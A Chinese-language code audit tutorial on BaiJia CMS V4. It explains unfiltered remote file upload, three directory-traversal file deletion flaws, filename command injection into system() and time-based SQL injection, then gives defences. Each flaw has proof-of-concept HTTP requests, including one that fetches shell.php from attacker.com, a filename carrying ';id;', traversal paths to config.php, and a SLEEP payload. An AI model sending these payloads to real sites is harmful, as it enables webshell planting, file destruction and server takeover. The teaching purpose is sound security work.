从0开始学习代码审计之百家CMS
字数 1573 2025-08-24 23:51:21
百家CMS V4代码审计全面指南
前言
本文是对百家CMS V4系统的深入代码审计报告,重点分析了该系统中存在的多个高危漏洞,包括文件上传、任意文件删除和远程命令执行等。通过本指南,您将学习到如何系统性地审计类似CMS系统,发现并验证安全漏洞。
系统架构分析
目录结构
include/:核心文件目录,类似于V2版本的init.phpextends.inc.php:扩展功能文件system/:包含eshop模块以及与第三方平台(钉钉、微信、QQ)的接口
初始化流程
系统初始化时进行大量defined检查,并设置参数获取方式:
// 类似于V2的init.php
// 包含大面积的defined检查
// 设置参数获取方式
漏洞审计与分析
1. 远程文件上传漏洞
漏洞位置:/path/to/uploader.php中的文件上传功能
漏洞分析:
- 系统提供从远程URL提取图片并上传的功能
- 无任何文件后缀过滤
- 上传后返回文件名和路径
关键代码:
function remote_file_upload($url) {
// 无过滤直接下载远程文件
$file = file_get_contents($url);
$filename = basename($url);
file_put_contents($upload_path.$filename, $file);
return $filename; // 返回上传后的文件名和路径
}
利用方法:
- 构造恶意文件URL
- 通过上传接口提交远程URL
- 系统下载并保存恶意文件
验证POC:
POST /uploader.php?op=upload HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
url=http://attacker.com/shell.php
2. 任意文件删除漏洞(共三处)
第一处:uploader.php
漏洞位置:uploader.php中的文件删除功能
漏洞分析:
- 当
$settings['system_isnetattach']为空时进入删除流程 - 未对
file参数进行过滤 - 可通过目录穿越删除任意文件
关键代码:
if(empty($settings['system_isnetattach'])) {
file_delete($file); // 直接删除传入的文件路径
}
利用方法:
- 构造包含目录穿越的文件路径
- 通过
op=remove&file=../../config.php参数触发删除
验证POC:
GET /index.php?mod=mobile&do=util&act=uploader&op=remove&file=../../config.php HTTP/1.1
Host: target.com
第二处:分类管理功能
漏洞位置:分类管理功能中的文件删除
漏洞分析:
- 在新建/编辑分类时触发文件删除
thumb_old参数可控- 无路径过滤
利用方法:
- 抓取新建分类的请求
- 修改
thumb_old参数为要删除的文件路径 - 重放请求
验证POC:
POST /index.php?mod=site&m=eshop&do=category&act=post HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
id=1&thumb_old=../../important.php
第三处:文件夹删除
漏洞位置:数据库管理功能中的文件夹删除
漏洞分析:
- 可删除任意文件夹
- 通过base64编码的路径参数
- 仅能删除文件夹而非单个文件
利用方法:
- 构造base64编码的路径如
Li4vLi4vc3A0YzFvdXM=(../../sp4c1ous) - 通过接口提交删除请求
验证POC:
POST /database.php?op=delete_folder HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
id=Li4vLi4vc3A0YzFvdXM=
3. 远程命令执行漏洞
漏洞位置:图片压缩功能中的命令执行
漏洞分析:
- 直接将用户控制的文件名拼接到system命令中
- 需要
$settings['image_compress_openscale']开启 - 通过文件名注入命令
关键代码:
if(!empty($settings['image_compress_openscale'])) {
system("convert {$filename} -resize {$width}x{$height} {$newfile}");
}
利用方法:
- 确保图片压缩功能开启
- 上传文件名包含命令注入,如
test.jpg;id;.jpg - 触发图片压缩功能执行命令
验证POC:
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.jpg;id;.jpg"
Content-Type: image/jpeg
[恶意文件内容]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
4. SQL注入漏洞(历史版本)
漏洞位置:商品列表接口
漏洞分析:
- 老版本中未充分过滤
order参数 - 可通过时间盲注获取数据
利用POC:
GET /index.php?act=index&beid=1&by=&cate=&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))) HTTP/1.1
Host: target.com
审计方法论总结
- 自动化扫描:使用Seay等工具初步筛选危险函数
- 参数追踪:分析用户输入如何传递到危险函数
- 功能定位:通过URL参数结构反向定位代码位置
- 过滤验证:检查输入过滤是否充分
- 利用链构建:组合多个小漏洞形成完整攻击链
防御建议
-
文件上传:
- 限制上传文件类型
- 检查文件内容而不仅是扩展名
- 随机化存储文件名
-
文件删除:
- 严格校验文件路径
- 限制删除操作的范围
- 记录删除操作日志
-
命令执行:
- 避免直接拼接用户输入到系统命令
- 使用escapeshellarg()等函数过滤
- 使用更安全的替代方案
-
SQL注入:
- 全面使用预处理语句
- 对数值参数进行intval过滤
- 最小权限原则配置数据库账户
通过本指南,您应该能够全面理解百家CMS V4的安全问题,并将这些审计方法应用到其他CMS系统的安全评估中。